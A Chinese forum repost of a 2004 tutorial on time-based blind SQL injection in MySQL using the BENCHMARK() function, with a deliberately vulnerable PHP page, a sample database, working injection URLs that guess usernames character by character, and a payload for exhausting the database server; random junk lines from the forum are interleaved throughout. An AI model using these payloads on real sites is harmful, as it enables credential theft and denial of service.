中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
) Z! a" X+ B3 ]/ r
本文作者:SuperHei
. H4 E* }- ]8 E$ W# g! g6 t
文章性质:原创
* W4 ]5 `9 Y' h# j$ Z! G* k
发布日期:2005-01-02
) \. O& m9 a6 f/ ]
完成日期:2004-07-09
( _4 Y5 l% m$ t; e) U( q, h
第一部
, w& E( ?% [2 W/ o
* D* V' |/ J w" X$ a
利用时间推延进行注射---BENCHMARK函数在注射中的利用
, U. }7 U" r5 _2 d( X; M
* {$ H! ?% Q6 w3 |, G5 X/ s; Y
一.前言/思路
! T& ^; ]) I: M. S& B Y. W/ m
" a& v' M- [" {/ w* H
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) E+ Q, w" W/ r- }% |
9 _; U, R# @6 k- s$ B
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
: D, U* i; Z' l
" h4 P: V# x2 d% Q3 p, r" t
二.关于BENCHMARK函数
6 Q6 q- f' `3 n! @
) o5 O$ }3 g) c* w7 @
在MySQL参考手册里可以看到如下描叙:
$ n9 [* F% z# `$ D5 h; Q& n
5 T9 j+ I$ a; S
( C3 f. e! d n' i+ i1 P. H6 b1 v
--------------------------------------------------------------------------------
5 _+ |; y" G0 W' O4 m
1 f( D9 I' H+ Q6 I% X
BENCHMARK(count,expr)
" x+ s T8 ?+ Q8 ^. m+ I' v
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. T. f. q. q' u7 M2 n
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
: n9 z4 l3 ^. q% i Y5 l: ?
+----------------------------------------------+
. [% ~8 E' D/ M2 l
| BENCHMARK(1000000,encode("hello","goodbye")) |
' p( n3 W. O+ ~4 `# B G
+----------------------------------------------+
; P/ O" i0 I, s8 M* {9 S* V
| 0 |
5 O9 ]2 S, I( q& ^" V
+----------------------------------------------+
7 @, q+ T1 G& ~+ W' C
1 row in set (4.74 sec)
1 q; | N1 u( E2 X$ i" v% D
! v9 d% c4 f# n6 a% f) c* g
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
7 u& ~* t; Z8 E* f* N9 G
5 }* Y8 x, Q3 O r" T4 c7 g
* ]4 X E: }, t8 A7 B
--------------------------------------------------------------------------------
" K& [9 j$ h4 [4 b
0 n8 P& f6 o& `7 C+ U. R# Q6 y8 x
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, f7 W% n/ }3 f' }, B
m. h9 S" m+ B9 S5 W2 s- Y
mysql> select md5( 'test' );
7 ]+ s: x3 K3 y( ~0 l
+----------------------------------+
. k9 t& D- Z4 @6 W5 }
| md5( 'test' ) |
( S3 c) K' ~- E
+----------------------------------+
# G. v) x" G, N5 ^! m( }
| 098f6bcd4621d373cade4e832627b4f6 |
' L8 ~ ?) }3 Y& Y1 O
+----------------------------------+
8 J; u* m. ?, d
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
2 f8 Y! [0 ?' e2 S% X
# O8 s( G' A6 a K1 F
mysql> select benchmark( 500000, md5( 'test' ) );
( Q$ q8 l" r2 m& c3 A
+------------------------------------+
: f/ y: `1 g) f; n
| benchmark( 500000, md5( 'test' ) ) |
0 B/ T0 h9 T W1 T* m: _# w0 P
+------------------------------------+
/ g" q( F+ G! W4 D3 U( W
| 0 |
- U* B1 H( H1 e* e7 q: O9 w
+------------------------------------+
/ F( R- s' E0 U
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' R7 _% A: }/ w: E6 H& j. B
# g1 I$ d* V9 p! [3 M) B2 E
* i; x6 D( L0 S/ u' C# G
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
! ^ G" N& _! s, {: i% u1 O- o. q: y0 q
$ o& _9 l5 H7 F" N7 ?
三.具体例子
! M0 x) w. M1 p; q* Z
/ j; F2 O# p. Z( F) ]/ h
首先我们看个简单的php代码:
+ w( z9 w9 g! W$ G7 w
# @1 y/ Q& R: K% X
< ?php
$ {; `# f) J8 u# o ?) H
$servername = "localhost";
5 [' B3 y3 q# X5 { X; @
$dbusername = "root";
" }* S" E5 w, s. f
$dbpassword = "";
4 @, n, L8 }, H& K1 a0 \& d. A# }
$dbname = "injection";
: u, R* k9 M! f0 q# H
1 W, O) ]: U6 f# Z% x
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
( Y, O3 l' K$ h9 w
; T2 t7 x. ?6 b2 V
$sql = "SELECT * FROM article WHERE articleid=$id";
- t6 `. {/ s4 |/ {
$result = mysql_db_query($dbname,$sql);
) _! k. H G+ E; y% K
$row = mysql_fetch_array($result);
7 H7 l O- }* p
/ w+ G+ N" b1 [7 [, ^
if (!$row)
: p* P- x# s4 a) n7 V' U! B
{
/ M/ K" h6 z$ F/ e3 E
exit;
* p- L+ e d7 R+ U& V: e
}
5 f! w/ e1 x! P+ z2 Q
?>
8 J: D I0 G% {* S! V
]/ [: X9 C, {
2 m# [4 g, A/ E$ i
数据库injection结构和内容如下:
2 F. b# b. `. n
+ Y9 Y K4 }) n- b% B# v9 O$ W+ v+ Y
# 数据库 : `injection`
8 r2 z2 E" v0 E, T) e
#
5 \' @ `+ n* ?' P
/ ?" t0 Z$ C% P- x5 E) e
# --------------------------------------------------------
: k; \$ a8 ^5 v6 G
5 l9 t/ G1 }! q* }4 P
#
0 a, f6 M) n: [
# 表的结构 `article`
5 K; |" Y! {9 q6 k
#
5 _* [' h1 s( ~: s+ f4 d% h% f. @
) D# g/ o- }5 ?- g7 _7 J3 A
CREATE TABLE `article` (
' K5 k' [2 |+ H5 w, x0 Q$ x0 E
`articleid` int(11) NOT NULL auto_increment,
5 S4 N0 d: T5 p4 O; Z
`title` varchar(100) NOT NULL default '',
* N) G' B) m1 q+ r0 R: R( [
`content` text NOT NULL,
! d1 m! U) r; O/ R3 [- b7 M
PRIMARY KEY (`articleid`)
8 \. \, q7 h$ }1 m, Y3 b2 s
) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 o( X) G5 i1 E$ y5 N" M; h6 t3 t
6 q- } A1 B* {. u8 u
#
! T, t/ ?7 _- @, M! v0 D
# 导出表中的数据 `article`
8 Q- z( o$ ~% m1 x9 {+ B
#
# u* k- C! l u/ ]1 G
$ k$ X7 y8 \6 a% }: M6 q/ H
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
( r; }8 D: L; M f6 ^+ `
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* P/ M% s9 D( B8 z
" K( G6 K5 |. Q; x/ k1 g
# --------------------------------------------------------
! ]$ T) C8 ?' ]4 J/ v
$ y! c% T) i/ m7 p' r& x
#
" p# A" U( d0 C& J. v/ p1 r. I
# 表的结构 `user`
( u0 C1 e+ o9 S4 g
#
8 H; ]# X+ \/ f( Y1 ^
4 s) y) o$ ]* X3 z& Q& u
CREATE TABLE `user` (
1 k1 u% r6 b; n: `% N
`userid` int(11) NOT NULL auto_increment,
% z6 W2 d* y6 |. x% j
`username` varchar(20) NOT NULL default '',
2 @+ ^6 j; \* V
`password` varchar(20) NOT NULL default '',
0 Z( m E$ t8 \7 F( |! r6 o) W
PRIMARY KEY (`userid`)
. }5 m! [0 i% A0 \) a; r2 _
) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 I2 ?% k* B, g2 K$ |
0 _; P9 r# F+ P; H/ ^
#
9 h: N( N. i' V$ S9 R5 p: r% h
# 导出表中的数据 `user`
1 ?' f+ B$ ^% V+ n3 h% J' X4 O8 J
#
Q9 q; B. V' n- e, Z
5 G, k" A- k" l n3 [
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
% i6 k, z v/ I. g3 }0 K( E
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
! j9 a& l U" f! E
9 H, N* I+ ?2 c/ X& j+ R8 v7 h" g
4 G4 f8 N& s; S1 S0 l
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
4 X9 A* f$ a% _8 d* T0 s
& r; G' m% `$ O1 g' `
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
! u4 K( j! i$ }, o$ @9 s8 k
3 ?5 `+ j) t3 y7 d. Y- K
1 ?) A' v% s2 e0 h6 x
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
. Z9 k4 G" R2 m
$ w3 R' \8 b' [
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
% K4 U& [* f7 [0 F( @$ p* W T
9 v {4 n) |$ v0 Y; P0 Z
1 u# ?3 i( r" W
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
z& C' z1 W) y, ^
$ X' {4 Y+ ~9 n* p- Q+ }$ o
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# z5 q9 G q; ~2 ~
8 n, v' Q4 o& S# k: C M/ T% j
第二部
V4 c m4 N, o
/ h$ o5 V7 x* t1 T9 a- Z
利用BENCHMARK函数进行ddos攻击
9 c3 L* ]) V6 e6 y2 q
" f4 N; i. G8 n, r
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
7 X1 N: w9 q/ c, u
. N- { j! B4 f8 X( `# V+ K! _& M
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
/ [! E2 Z1 n$ b( ?
/ ^; K3 s8 K9 {0 H7 a
0 x! |! J; a/ @/ Q& o) g3 h
小结
4 {/ y0 x) G `+ A# V7 ~
% D7 |$ [. V& E5 n$ t8 `
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 i/ c- q. I, k
1 z+ E y$ z( I/ A/ c) z4 F
2 k" z* }; v; e$ C# v' G
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2